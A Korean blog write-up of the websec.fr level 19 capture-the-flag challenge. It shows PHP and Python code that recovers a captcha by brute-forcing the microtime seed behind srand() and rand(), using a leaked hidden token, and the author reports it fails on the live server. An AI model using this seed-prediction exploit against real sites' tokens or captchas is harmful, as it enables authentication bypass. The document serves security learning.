websec.fr level19 write-up
Captcha가 있길래 이 문제를 풀기 위해서 머신러닝으로 저기에 있는 글자를 알아와야하나 생각이 들어서 지금까지 굳이 풀려고 하지 않으려고 했지만, 오늘 이 문제 소스를 보니까 꽤 쉬운 것 같아서 write-up을 작성해보려고 한다. 참고로 아직 풀진 못했다. 로컬에서는 분명히 풀리는데 서버에서는 안풀리는 문제다.
random.php의 소스이다. 여기서 microtime(true)로 seed를 설정하는데 여기서 취약점이 발생한다. srand() 함수를 통해 같은 값을 설정할 경우 rand() 의 값이 똑같아진다. 다음 코드를 예를 들어보면 이해하기 쉽다.
#!/usr/bin/env php
<?php
function generate_random_text ($length) {
$chars = "abcdefghijklmnopqrstuvwxyz";
$chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$chars .= "1234567890";
$text = '';
for($i = 0; $i < $length; $i++) {
$text .= $chars[rand () % strlen ($chars)];
}
return $text;
}
/* Routine 1. */
srand(1);
echo "# Routine 1.\n";
$rand = generate_random_text(26);
echo "[*] generate_random_text(26) : {$rand}\n";
$rand2 = generate_random_text(32);
echo "[*] generate_random_text(32) : {$rand2}\n";
echo "==================\n";
srand(1);
echo "# Routine 2.\n";
$rand = generate_random_text(26);
echo "[+] Sleep ... \n";
sleep(1);
$rand2 = generate_random_text(32);
echo "[*] generate_random_text(26) : {$rand}\n";
echo "[*] generate_random_text(32) : {$rand2}\n";
srand()의 특성을 이해하기 전에는 rand()가 실제로 무작위의 값을 가져올 것이라고 추측했지만, Routine 1과 Routine 2의 결과값은 같다.
위의 문제에서는 token과 captcha를 rand() 함수로 설정한다. 그리고 rand() 함수로 설정한 token이 html input 태그의 hidden value로 불려져 있으니 srand( $guessd_timestamp ) 를 이용하면 서버의 timestamp를 알 수 있게 되고 역으로 captcha code까지 구할 수 있게 된다.
#!/usr/bin/env python3
# coding: utf-8
import subprocess
import requests as req
from bs4 import BeautifulSoup
def parse_token(text):
soup = BeautifulSoup(text, 'lxml')
token = soup.find('input', {'id': 'token'}).get('value')
print('[*] parsed token :', token)
return token
def get_timestamp_from_token(token):
captcha = (subprocess.run(['php', 'guess_timestamp.php', token], stdout=subprocess.PIPE).stdout.decode('utf-8'))
print('[*] captcha :', captcha)
return captcha
def first_request():
"""
srand(microtime(true));
1. Set Captcha (26 bytes)
2. Set token (32 bytes)
"""
# url = 'http://ch4n3.me:8080/websec.fr/level19/index.php'
url = 'http://websec.fr/level19/index.php'
r = req.get(url)
headers = {
'Cookie': r.headers['Set-Cookie'],
}
token = parse_token(r.text)
return headers, token
def auth(headers, token, captcha):
# url = 'http://ch4n3.me:8080/websec.fr/level19/index.php'
url = 'http://websec.fr/level19/index.php'
data = {'captcha': captcha, 'token': token}
r = req.post(url, headers=headers, data=data)
print('\n'* 3)
print(r.text)
def main():
headers, token = first_request()
captcha = get_timestamp_from_token(token)
auth(headers, token, captcha)
if __name__ == '__main__':
main()
<?php
// guess_timestamp.php
include __DIR__ . '/random.php';
$token = $argv[1];
$timestamp = microtime(true);
$day = 60 * 60 * 24;
// sec * min * hour = 1 day
for ($i = $day * -1; $i < $day; $i++) {
$guessed_timestamp = $timestamp + $i;
srand($guessed_timestamp);
$guessed_token = generate_random_text(32);
$guessed_captcha = generate_random_text(26);
if ($guessed_token == $token) {
echo "{$guessed_captcha}";
break;
}
}
ch4n3.me:8080 에 websec.fr 과 같은 코드로 구축을 해서 풀리는 것을 확인했는데, websec.fr에다 하면 안된다.. 이건 왜 그런지 모르겠다. 야!!!!! FLAG 내놔!!!!
'write-ups > websec.fr' 카테고리의 다른 글
websec.fr level13 write-up (0) | 2020.03.15 |
---|---|
websec.fr level11 write up (0) | 2018.07.10 |
websec.fr level09 write up (0) | 2018.07.10 |
websec.fr level22 write up (0) | 2018.07.04 |
websec.fr level24 write up (0) | 2018.07.04 |